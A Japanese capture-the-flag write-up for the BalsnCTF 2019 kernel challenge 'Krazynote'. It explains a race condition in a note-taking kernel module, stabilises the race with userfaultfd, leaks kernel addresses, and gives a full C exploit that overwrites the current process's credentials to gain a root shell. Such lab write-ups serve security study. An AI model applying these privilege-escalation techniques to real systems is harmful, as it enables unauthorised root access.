イントロ
いつぞや行われたBalsnCTF 2019の pwn 問題Krazynote。 race condition / PTE の書き換え / brute-force 等様々な要素が関わってきて面白かった。
準備
配布物
run.sh
: QEMU のスタートアップスクリプト. SMEP/SMAP 有効. threads=4initramfs.cpio.gz
: initramfs. 特筆すべきことは無しnote.ko
: LKM. ソースコードは無しbzImage
: カーネルイメージ. バージョン情報等は以下の通り:
1Linux (none) 5.1.9 #1 SMP Fri Jun 14 17:32:01 CST 2019 x86_64 GNU/Linux
2filename: /home/wataru/Documents/ctf/balsn2019/krazynote/work/./note.ko
3description: Secret Note
4license: GPL
5srcversion: 3D2D944721745235FC446C4
6depends:
7retpoline: Y
8name: note
9vermagic: 5.1.9 SMP mod_unload
その他
LKM のソースが配布されている場合には、自前ビルドしたカーネルツリー下でモジュールをビルドしてやるとかなりデバッグがしやすくなるのだが、 今回はソースが添付されていなかったため配布された素のイメージを使うことにした。 環境や exploit 本体などは以下のリポジトリに置いてある:
問題概要ととっかかりの Bug
配布された LKM は/dev/note
という名でmiscdevice
を登録する:
この時、fops
には以下のようにopen
とunlocked_ioctl
しか登録されていない:
open
は特筆すべき内容がなく、実際はunlocked_ioctl
のみに注目すれば良い。
Ghidra でデコンパイルすると結構気持ち悪いコードが生成されたが、気合で補完したコードが以下である:
1#define CREATE 0xffffff00
2#define EDIT 0xffffff01
3#define READ 0xffffff02
4#define ALLDEL 0xffffff03
5
6struct information{
7 unsigned long idx; // index of note
8 unsigned char size; // size of note
9 char *buf; // userland buffer to/from which note content is written/read
10};
11
12struct note{
13 unsigned long secret;
14 unsigned long size;
15 char *content_ptr; // maybe pointing to content below, though a little bit aligned?
16 char content[];
17};
18
19struct note **notes; // array of note @ 0x102b60
20static char *main_buf_ptr = 0x100b60; // @ 0x100b40
21
22long* unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
23{
24 struct information info;
25 char buffer[0x100];
26 int tmp;
27 char *tmp_ptr;
28 unsigned long secret;
29 struct note *target_note;
30
31 info.idx = 0;
32 info.size = 0;
33 info.buf = NULL;
34 memset(buffer, 0x00, 0x100);
35
36 if(_copy_from_user(&info, (void*)arg, 0x18) == 0){
37 info.size = info.size & 0xff;
38 info.idx = info.idx & 0xf;
39
40 switch(cmd){
41 case CREATE: // create new note
42 info.idx = -1;
43 for(int ix=0; ix!=0x10; ++ix){
44 if(notes[ix] != NULL) // when find empty note entry
45 continue;
46
47 // copy requested note information from user
48 notes[ix] = main_buf_ptr;
49 notes[ix]->size = info.size;
50 notes[ix]->secret = *(unsigned long*)(*(long*)(*(long*)(¤t_task + in_GS_OFFSET) + 0x7e8) + 0x50);
51
52 if(info.size > 0x100){
53 _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100, info.size);
54 do{ invalidInstructionException(); }while(true);
55 }
56
57 // copy note content from userland
58 __check_object_size(buffer, 0, info.size);
59 _copy_from_user(buffer, info.buf, info.size);
60
61 // encrypt copied note content
62 if(info.size != 0){
63 tmp = 0;
64 secret = notes[ix]->secret;
65 do{
66 *(unsigned long*)(buffer + tmp) = *(unsigned long*)(buffer + tmp) ^ secret;
67 tmp += 8;
68 }while(tmp < info.size);
69 }
70 memcpy(main_buf_ptr + 0x18, buffer);
71 notes[ix]->content_ptr = main_buf_ptr + 0x18 - page_offset_base; // ???
72
73 // set pointer forward
74 main_buf_ptr = main_buf_ptr + 0x18 + notes[ix]->size;
75 }
76 break;
77
78 case READ:
79 target_note = notes[info.idx];
80 if(target_note != NULL){
81 tmp_ptr = target_note->content_ptr + page_offset_base;
82 if(target_note->size != 0){
83 memcpy(buffer, tmp_ptr, target_note->size);
84 for(int ix=0; ix!=target_note->size; ){
85 *(unsigned long*)(buffer + ix) = *(unsigned long*)(buffer + ix) ^ target_note->secret;
86 ix += 8;
87 }
88 __check_object_size(buffer, target_note->size, 1);
89 _copy_to_user(info.buf, buffer, target_note->size);
90 }
91 return 0;
92 }else
93 return 0;
94 break;
95
96 case ALLDEL:
97 for(int ix=0; ix!=8; ++ix)
98 notes[ix] = NULL;
99 main_buf_ptr = 0x100b60;
100 for(int ix=0; ix!=0x400; ++ix)
101 *(unsigned long*)(main_buf_ptr + ix*8) = 0x0;
102 break;
103
104 case EDIT:
105 /* ommitted cuz almost same as create */
106 break;
107
108 default:
109 return 0xffffffffffffffe7;
110 }
111
112 }else{
113 return 0xfffffffffffffff2;
114 }
115}
ioctl
のcmd
で指定された値に応じてnote
を作成/消去/編集/読み込みする。
この際使用されるバッファはモジュールの.bss
領域に存在し、
その先頭から順次使用していくという形式になっている。
また、ノートに書き込む/ノートから読み取った値を userland とやりとりするために_copy_to_user()
と _copy_from_user()
を用いている。
ユーザはノートに書き込む値の他にも、ノートのサイズやインデックスを指定することができる。
特筆すべき点は、ノートに保存する値をpage_offset_base
という値で XOR にかけ疑似暗号化していること。
このpage_offset_base
は上に示したコードの通りstruct task_struct
中のいずれかのメンバを参照した先の値なのだが、task_struct
は kernel のビルドオプションによってかなりメンバが変わるため、
page_offset_base
がどのメンバに相当するのかを調べるのは難しい。
詳しくは後述するが、それなりのデバッグと多少のメタ読みとカンニングの結果、
この値はtask_struct.mm -> (struct mm_struct*)mm-> (pgd_t*)pgd
であることが分かった。
最初のページディレクトリテーブルのアドレスである。
また、ノート構造体のcontent_ptr
には実際にノートの内容が書いてあるアドレスではなく、
そのアドレスに先程のpage_offset_base
を減算したアドレスが格納されていることも重要である。
さて、とっかかりの脆弱性は race condition である。
そもそもにcompat_ioctl
ではなくunlocked_ioctl
が使われているため、_copy_from_user()
等の処理中にもロックが取られない。
そのため、_copy_from_user()
で使用するメモリ領域を途中で書き換えることができる。
これを実現するためには、以下の順でioctl
を呼ぶ:
1CREATE: idx=0 size=0xf0
2EDIT: idx=0
3 |
4 | ALLDELETE
5 | CREATE: idx=0 size=0x10
6 | CREATE: idx=1 size=0x10
7 o
8(fin EDIT)
まず大きいサイズ(許容される最大サイズは0xFF
)でノートをCREATE
し、
引き続きそれをEDIT
するのだが、
それと同時に別スレッドにおいてALLDELETE
を実行して全てのノートを削除し、
引き続きCREATE
で新しいノートを 2 つ作る。
この別スレッドの作業はEDIT
が完了するまでに行う必要がある。
一般に_copy_from_user()
は重い処理であるから、
何万回かトライすればこのような race condition が成立する。
これが成立するとノートバッファは以下の図のようになる:
EDIT
の最中に他スレッドによってノートが初期化され新たにサイズの小さい 2 つのノートがCREATE
されたにも関わらず、
EDIT
は古い情報をもとに_copy_from_user
を既に実行してしまっているため、
本来書き換えてはいけないnote1
のsize
とsecret
を書き換えていることが分かる。
この状態でnote1
から値をREAD
することを考える。
READ
の際にはsecret
と XOR することでもとの値に復号してから_copy_to_user
を行うのだが、
今secret1
には overwrite させた分の0 ^ secret
が入っている。
よって、note1
からデータ領域にある0
(図中メモリ領域した半分の空白部分)を読もうとして復号処理を行うと、
0 ^ secret ^ 0
をユーザに渡すことになり、これによってsecret
の値をリークすることができる。
secret
の値が入手できたことと、note1
が実際よりも大きいsize
の情報を保持しているということから
既に殆ど AAW/AAR であるが、詳しくは後述する。
userfaultfd によって race condition を安定させる
上述した race condition は数万回トライすれば恐らく 1 回は成功する気がする。 だが、以下では race condition を更に安定化させる方法を考える。
userfaultfd
システムコールによって userland におけるページフォルトをハンドリングすることができる。
基本的な使い方についてはman userfaultfd
を参照のこと。
尚、libc にこのシステムコールの wrapper はないため直接syscall()
を使うしかない。
このuserfaultfd
によってmmap()
したページをcopy_from_user
で kernelland に渡すことで、
kernel 側が該当ページにアクセス(EDIT
)した瞬間に kernel の処理を止めて userland に処理を移すことが可能になる。
lazy loading が有効な場合には、mmap
した瞬間にはそのページに対して物理メモリはマッピングされず、
該当ページへのアクセスが発生た瞬間初めてページフォルトを発生させて物理メモリを割当・スワップインさせることになる。
よって、mmap()
だけしてアクセスされていない領域を EDIT のデータ元として渡してやることで
EDIT
内の_copy_from_user()
の開始直後にページフォルトが発生しユーザランドに処理を戻すことができる。
ここで呼び出されるハンドラ内で、上述したALLDELETE
+CREATE
+CREATE
の処理を行い、
その後で処理を再び戻してやれば、先程の race condition は 100%の確立で成功することになる。
以下が、userfaultfd
の登録及びフォルトをハンドリングする関数である。
尚、いずれもuserfaultfd
の man ページを参照している:
1// cf. man page of userfaultfd
2static void* fault_handler_thread(void *arg)
3{
4 puts("[+] entered fault_handler_thread");
5
6 static struct uffd_msg msg; // data read from userfaultfd
7 struct uffdio_copy uffdio_copy;
8 long uffd = (long)arg; // userfaultfd file descriptor
9 struct pollfd pollfd; //
10 int nready; // number of polled events
11
12 // set poll information
13 pollfd.fd = uffd;
14 pollfd.events = POLLIN;
15
16 // wait for poll
17 puts("[+] polling...");
18 while(poll(&pollfd, 1, -1) > 0){
19 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
20 errExit("poll");
21
22 // read an event
23 if(read(uffd, &msg, sizeof(msg)) == 0)
24 errExit("read");
25
26 if(msg.event != UFFD_EVENT_PAGEFAULT)
27 errExit("unexpected pagefault");
28
29 printf("[!] page fault: %p\n",msg.arg.pagefault.address);
30
31 // Now, another thread is halting. Do my business.
32 puts("[+] now alldel + create*2");
33 _alldel(); // delete all notes
34 _create(buf,0x10); // create note idx:0
35 _create(buf,0x10); // creat enote idx:1
36
37
38 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
39 uffdio_copy.src = buf;
40 uffdio_copy.dst = addr;
41 uffdio_copy.len = len;
42 uffdio_copy.mode = 0;
43 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
44 errExit("ioctl-UFFDIO_COPY");
45
46 break;
47 }
48
49 puts("[+] exiting fault_handler_thrd");
50}
51
52// cf. man page of userfaultfd
53void register_userfaultfd_and_halt(void)
54{
55 puts("[+] registering userfaultfd...");
56
57 long uffd; // userfaultfd file descriptor
58 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
59 struct uffdio_api uffdio_api;
60 struct uffdio_register uffdio_register;
61 int s;
62
63 // create userfaultfd file descriptor
64 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
65 if(uffd == -1)
66 errExit("userfaultfd");
67
68 // enable uffd object via ioctl(UFFDIO_API)
69 uffdio_api.api = UFFD_API;
70 uffdio_api.features = 0;
71 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
72 errExit("ioctl-UFFDIO_API");
73
74 // mmap
75 puts("[+] mmapping...");
76 addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
77 puts("[+] mmapped...");
78 if(addr == MAP_FAILED)
79 errExit("mmap");
80
81 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
82 uffdio_register.range.start = addr;
83 uffdio_register.range.len = len;
84 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
85 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
86 errExit("ioctl-UFFDIO_REGISTER");
87
88 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
89 if(s!=0){
90 errno = s;
91 errExit("pthread_create");
92 }
93
94 puts("[+] registered userfaultfd");
95}
page_offset_base/ modulebase の leak
secret
を入手できたため、note1
をREAD
することでnote2
のcontent_ptr
を leak することができる。
(note1
のsize
は0xFF ^ secret
という巨大な値になっているためnote2
のメタ情報まで READ することができる)。
secret
とcontent_ptr
があれば、やはりnote1
を利用することでnote2
のcontent_ptr
を上書きし、
好きなアドレスの値を読み書きすることができる。
但し、本当に任意のアドレスの AAW/AAR を達成するためには、
目的のアドレスに対して減算するべきpage_offset_base
の値を leak する必要があるのだが、
今現在この値はわかっていない。
しかしその状態でも、先ほど leak したcontent_ptr
には既にpage_offset_table
の値が減算されているという事実を用いて、
.bss
セクション内での相対的 AAW/AAR ならば可能である。
よって、まずはnote2
がノートアドレスの配列であるnotes_array
を指すように上書きし、
これによってノートが作られるバッファのアドレスを leak する。
すると、content_ptr
のpage_offset_base
を減算する前の値が手に入る。
この 2 つの値を用いてpage_offset_base
の値を計算することができる。
また、.bss
セクションのアドレスが分かったことになるため、modulebase も leak できたことになる。
kernbase の leak
ここまでで secret
/ page_offset_base
/ modulebase
の 3 つが leak できているため、
真の意味で AAW/AAR になっている。
だが kernbase が分かっていないため、まずはコレを求める必要がある。
モジュール内に含まれる kernel symbol 関連の情報と言えば、
copy_from_user
/copy_to_user
等の関数の呼び出しである。
モジュールのビルド時には当然これらのアドレスがわからないから、
モジュールのインストール時に該当call
命令を上書きし、
RIP を用いた相対アドレスによって kernel 関数のアドレスを解決している。
例えばモジュール内のcopy_to_user
を呼び出す命令は以下のようになっていた:
これの上位 4byte が相対アドレスであり、RIP + 0xF1620D0F
で実際のcopy_to_user
のアドレスが計算できる。
(相対アドレッシングに用いる RIP の値は、この命令ではなく、この 1 個次の命令のアドレスであることに注意。
5
を加える必要がある)
modulebase がわかっており AAR であるから、この命令を leak することで kernel の.text base を leak することができる。
PTE の権限 bit を書き換える
最初の方で言及したように、page_offset_base
はページディレクトリのアドレスを表していた。
AAW が存在する今、このページディレクトリを辿っていって目的ページの PTE を探し出し、
permission を変更してしまうことで RWX 領域を作ることができる。
そうなってしまえば後は kernelland に shellcode を仕込むことで、SMEP/SMAP に触れることなく目的を達成できる。
尚、ページディレクトリは多重になっている。
詳しくは(?)以下のページを参考のこと。
だが、今回は違う方法を使ってみることにした。
prctl によって特定の領域をマーキングして総当りする
kernel pwn の定石といえば、struct task_struct current
のstruct cred __rcu *cred
内のメンバを書き換えて UID==0 にすることである。
現状この手法を使うにあたって難しいのは、現在のタスクのcred
のアドレスがわからないということである。
逆に言えばこのアドレスさえ leak できれば AAW があるため終了である。
struct task_struct
内のcred
周辺を見ると、char comm[TASK_COMM_LEN]
というメンバが見つかる。
これは、実行ファイル名が格納される配列(ポインタではなく!!!)であり、例えばカーネルのパニック時に以下のようなメッセージ上で出力されたりする:
このcomm
はioctl (PR_SET_NAME)
によってユーザが任意のタイミングで任意の文字列に変更することができる。
AAR であるから、この文字列を marker としてメモリ状を全探索することでtask_struct
中のcomm
のアドレスを探し出すことができる。
また、デバッグオプションによって構造体内のオフセットが変動すると先に述べたが、comm
とcred
は隣り合っているメンバである。
よっぽどのことがない限り、comm - 8 = cred
になると考えられる。
(知らんけど)
ということで、愚直に全探索すると 30 秒程でcred
の値が leak できる:
root へ
cred
のアドレスがわかっており、且つ AAW であるため、もうやることは一つ。
exploit
exploit.c 1#define _GNU_SOURCE
2#include<sys/types.h>
3#include<stdio.h>
4#include<linux/userfaultfd.h>
5#include<pthread.h>
6#include<errno.h>
7#include<stdlib.h>
8#include<fcntl.h>
9#include<signal.h>
10#include<string.h>
11#include<sys/mman.h>
12#include<sys/syscall.h>
13#include<poll.h>
14#include<unistd.h>
15#include<string.h>
16#include<sys/ioctl.h>
17#include<sys/prctl.h>
18#define ulong unsigned long
19#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
20 } while (0)
21ulong user_cs,user_ss,user_sp,user_rflags;
22int fd; // file descriptor of /dev/note
23void pop_shell(void)
24{
25 char *argv[] = {"/bin/sh",NULL};
26 char *envp[] = {NULL};
27 execve("/bin/sh",argv,envp);
28}
29static void save_state(void) {
30 asm(
31 "movq %%cs, %0\n"
32 "movq %%ss, %1\n"
33 "movq %%rsp, %2\n"
34 "pushfq\n"
35 "popq %3\n"
36 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
37}
38#define CREATE 0xffffff00
39#define EDIT 0xffffff01
40#define READ 0xffffff02
41#define ALLDEL 0xffffff03
42struct info{
43 unsigned long idx;
44 unsigned long size;
45 char *buf;
46};
47int _create(char *buf, unsigned long size)
48{
49 struct info info;
50 info.buf = buf;
51 info.size = size;
52 info.idx = 0;
53 if(ioctl(fd,CREATE,&info) < 0)
54 errExit("_create");
55 puts("[+] created new note");
56}
57int _alldel(void)
58{
59 struct info info;
60 info.buf = NULL;
61 info.size = 0;
62 info.idx = 0;
63 if(ioctl(fd,ALLDEL,&info) < 0)
64 errExit("_delall");
65 puts("[+] all deleted");
66}
67int _read(unsigned long idx,char *buf)
68{
69 struct info info;
70 info.buf = buf;
71 info.size = 0;
72 info.idx = idx;
73 if(ioctl(fd,READ,&info) < 0)
74 errExit("_read");
75 //printf("[+] read note: %d\n",idx);
76}
77int _edit(unsigned long idx, char *buf)
78{
79 struct info info;
80 info.buf = buf;
81 info.size = 0;
82 info.idx = idx;
83 if(ioctl(fd,EDIT,&info) < 0)
84 errExit("_edit");
85 //printf("[+] edited: %d\n",idx);
86}
87char *addr = 0x117117000; // memory region supervisored
88char buf[0x3000]; // userland buffer
89unsigned long len = 0x1000; // memory length
90// cf. man page of userfaultfd
91static void* fault_handler_thread(void *arg)
92{
93 puts("[+] entered fault_handler_thread");
94 static struct uffd_msg msg; // data read from userfaultfd
95 struct uffdio_copy uffdio_copy;
96 long uffd = (long)arg; // userfaultfd file descriptor
97 struct pollfd pollfd; //
98 int nready; // number of polled events
99 // set poll information
100 pollfd.fd = uffd;
101 pollfd.events = POLLIN;
102 // wait for poll
103 puts("[+] polling...");
104 while(poll(&pollfd, 1, -1) > 0){
105 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
106 errExit("poll");
107 // read an event
108 if(read(uffd, &msg, sizeof(msg)) == 0)
109 errExit("read");
110 if(msg.event != UFFD_EVENT_PAGEFAULT)
111 errExit("unexpected pagefault");
112 printf("[!] page fault: %p\n",msg.arg.pagefault.address);
113 // Now, another thread is halting. Do my business.
114 puts("[+] now alldel + create*2");
115 _alldel(); // delete all notes
116 _create(buf,0x10); // create note idx:0
117 _create(buf,0x10); // creat enote idx:1
118 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
119 uffdio_copy.src = buf;
120 uffdio_copy.dst = addr;
121 uffdio_copy.len = len;
122 uffdio_copy.mode = 0;
123 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
124 errExit("ioctl-UFFDIO_COPY");
125 break;
126 }
127 puts("[+] exiting fault_handler_thrd");
128}
129// cf. man page of userfaultfd
130void register_userfaultfd_and_halt(void)
131{
132 puts("[+] registering userfaultfd...");
133 long uffd; // userfaultfd file descriptor
134 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
135 struct uffdio_api uffdio_api;
136 struct uffdio_register uffdio_register;
137 int s;
138 // create userfaultfd file descriptor
139 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
140 if(uffd == -1)
141 errExit("userfaultfd");
142 // enable uffd object via ioctl(UFFDIO_API)
143 uffdio_api.api = UFFD_API;
144 uffdio_api.features = 0;
145 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
146 errExit("ioctl-UFFDIO_API");
147 // mmap
148 puts("[+] mmapping...");
149 addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
150 puts("[+] mmapped...");
151 if(addr == MAP_FAILED)
152 errExit("mmap");
153 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
154 uffdio_register.range.start = addr;
155 uffdio_register.range.len = len;
156 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
157 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
158 errExit("ioctl-UFFDIO_REGISTER");
159 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
160 if(s!=0){
161 errno = s;
162 errExit("pthread_create");
163 }
164 puts("[+] registered userfaultfd");
165}
166int main(void)
167{
168 unsigned long secret;
169 unsigned long content_ptr;
170 unsigned long modulebase;
171 unsigned long dif_main_buf, dif_notes_array;
172 unsigned long page_offset_base;
173 unsigned long rip_call_copy_to_user;
174 unsigned long addr_copy_to_user;
175 signed long rel_jmp_offset;
176 unsigned long kern_textbase;
177 void *tmp_addr;
178 unsigned char *addr_cred;
179 unsigned long addr_cred_in_task_struct;
180 char tmp_buf[0x100];
181 unsigned long diff_copy_to_user = 0x353ee0;
182 memset(buf, 0x00, sizeof(buf));
183 // open miscdevice
184 //if((fd=open("/dev/note",O_RDWR))<0) // O_RDWR would be rejected due to permission error
185 if((fd=open("/dev/note",O_RDONLY))<0)
186 errExit("open-/dev/note");
187 // leak secret
188 buf[0x10+0x8] = 0xff; // overwrite note1's size, which is allocated later
189 _create(buf, 0x19);
190 register_userfaultfd_and_halt();
191 sleep(1);
192 _edit(0, addr); // invoke page fault and call fault_handler
193 _read(1, buf);
194 printf("[+] buf addr: %p\n",buf);
195 printf("[!] head of leaked data:\n");
196 for(int ix=0; ix!=0x8; ++ix){
197 printf("\t%llx\n", ((unsigned long*)buf)[ix]);
198 }
199 secret = (void*)((unsigned long*)buf)[0x2];
200 printf("[!] secret: %p\n", secret);
201 // leak content_ptr
202 memset(buf, 0x00, sizeof(buf));
203 _create(buf, 0x10); // idx:2
204 _read(1, buf);
205 printf("[!] leaked data decrypted with secret: %llx:\n",secret);
206 for(int ix=0;ix!=0x10; ++ix){
207 printf("\t%llx\n", ((unsigned long*)buf)[ix] ^ secret);
208 }
209 content_ptr = ((unsigned long*)buf)[4] ^ secret;
210 printf("[!] content_ptr of note2: %p\n",(void*)content_ptr);
211 dif_main_buf = content_ptr - 0x68; // main_buf - page_offset_base
212 dif_notes_array = dif_main_buf + (0x102b60 - 0x100b60); // notes_array - page_offset_base
213 printf("[!] dif_notes_array: %p\n",(void*)dif_notes_array);
214 // leak modulebase & page_offset_base
215 ((unsigned long*)buf)[0] = 0; // content of note1
216 ((unsigned long*)buf)[1] = 0; // content of note1
217 ((unsigned long*)buf)[2] = 0; // secret of note2
218 ((unsigned long*)buf)[3] = 8; // size of note2
219 ((unsigned long*)buf)[4] = dif_notes_array; // content_ptr of note2
220 for(int ix=0; ix!=5; ++ix){ // encrypt
221 ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
222 }
223 _edit(1, buf); // overwrite note2's content_ptr into notes_array
224 _read(2, buf); // read ¬e0
225 printf("[!] leaked data decrypted with secret: 0x00:\n");
226 for(int ix=0;ix!=0x8; ++ix){
227 printf("\t%llx\n", ((unsigned long*)buf)[ix]); // notes are no more encrypted
228 }
229 modulebase = (((unsigned long*)buf)[0]) - 0x2520;
230 page_offset_base = (((unsigned long*)buf)[0]) + 0x68 - content_ptr;
231 printf("[!] modulebase: %p\n",(void*)modulebase);
232 printf("[!] page_offset_base: %p\n",(void*)page_offset_base);
233 /* now we have AAW/AAR, not limited to relative one */
234 // read instruction
235 rip_call_copy_to_user = modulebase + 0x1cc;
236 ((unsigned long*)buf)[0] = 0; // content of note1
237 ((unsigned long*)buf)[1] = 0; // content of note1
238 ((unsigned long*)buf)[2] = 0; // secret of note2
239 ((unsigned long*)buf)[3] = 8; // size of note2
240 ((unsigned long*)buf)[4] = rip_call_copy_to_user - page_offset_base; // content_ptr of note2
241 for(int ix=0; ix!=5; ++ix){ // encrypt
242 ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
243 }
244 _edit(1, buf); // overwrite note2's content_ptr into notes_array
245 _read(2, buf); // read instruction
246 printf("[!] instruction call copy_to_user():\n\t");
247 for(int ix=0; ix!=5; ++ix){
248 printf("%02x ", *(unsigned char*)(buf + ix));
249 }
250 printf("\n");
251 // calc addr of call_to_user and kern_textbase
252 addr_copy_to_user = rip_call_copy_to_user;
253 rel_jmp_offset = 0;
254 for(int ix=0; ix!=4; ++ix){
255 //addr_copy_to_user += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix + 32);
256 rel_jmp_offset += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix);
257 }
258 addr_copy_to_user = (signed int)rel_jmp_offset + addr_copy_to_user + 5; // relational jmp uses RIP for "next" instruction's addr, so add len(call copy_to_user)
259 printf("[!] copy_to_user: %p\n",(void*)addr_copy_to_user);
260 kern_textbase = addr_copy_to_user - diff_copy_to_user;
261 printf("[!] kern_textbase: %p\n",(void*)kern_textbase);
262 /* task_struct はデバイスオプションによって中身がかなり変わるため、+0x7e8がどのメンバが突き止めるのはムリ */
263 /* struct task_struct 中の char comm[0x10] という、executable nameを格納するメンバがある
264 prctl(PR_SET_NAME) によってこの current->comm を変更することができる */
265 if(prctl(PR_SET_NAME, "FuckThisSummer") == -1) // change current->comm into "FuckThisSummer"
266 errExit("prctl");
267 for(unsigned long ix=0; 1==1; ix+=0x50){
268 tmp_addr = page_offset_base + ix; // target of search
269 if(ix%0x100000*2==0)
270 printf("[.] searching %llx ...\n", tmp_addr);
271 memset(buf, 0x00, 0x100);
272 ((unsigned long*)buf)[0] = 0; // content of note1
273 ((unsigned long*)buf)[1] = 0; // content of note1
274 ((unsigned long*)buf)[2] = 0; // secret of note2
275 ((unsigned long*)buf)[3] = 0xff; // size of note2
276 ((unsigned long*)buf)[4] = tmp_addr - page_offset_base; // content_ptr of note2
277 for(int ix=0; ix!=5; ++ix){ // encrypt
278 ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
279 }
280 _edit(1, buf);
281 _read(2, buf);
282 tmp_addr = memmem(buf, 0x100, "FuckThisSummer", sizeof("FuckThisSummer"));
283 if(tmp_addr != NULL){
284 addr_cred = *(unsigned long*)((unsigned long)tmp_addr - 8);
285 tmp_addr = page_offset_base + ix + (buf - (unsigned long)tmp_addr);
286 printf("\n[!!] FOUND current_task.comm: %p\n",(void*)tmp_addr);
287 printf("\n[!!] FOUND cred: %p\n",(void*)addr_cred);
288 break;
289 }
290 }
291 // いくらデバッグオプションでメンバが違うと言っても、credとcommは隣り合っているから大丈夫
292 // leak cred
293 // overwrite content_ptr of note2 into cred
294 memset(tmp_buf, 0x00, 0x100);
295 ((unsigned long*)tmp_buf)[0] = 0; // content of note1
296 ((unsigned long*)tmp_buf)[1] = 0; // content of note1
297 ((unsigned long*)tmp_buf)[2] = 0; // secret of note2
298 ((unsigned long*)tmp_buf)[3] = 0x20; // size of note2
299 ((unsigned long*)tmp_buf)[4] = addr_cred + 4 - page_offset_base; // +4 is to avoid atomic_t usage
300 for(int ix=0; ix!=5; ++ix){ // encrypt
301 ((unsigned long*)tmp_buf)[ix] = ((unsigned long*)tmp_buf)[ix] ^ secret;
302 }
303 _edit(1, tmp_buf);
304 // Overwrite current->cred->uid into zero
305 puts("[+] overwrite current->uid");
306 memset(buf, 0x00, 0x100);
307 _edit(2, buf);
308 // pop shell and happy birthday!
309 puts("[!!!] popping shell...\n");
310 pop_shell();
311 return 0;
312}
アウトロ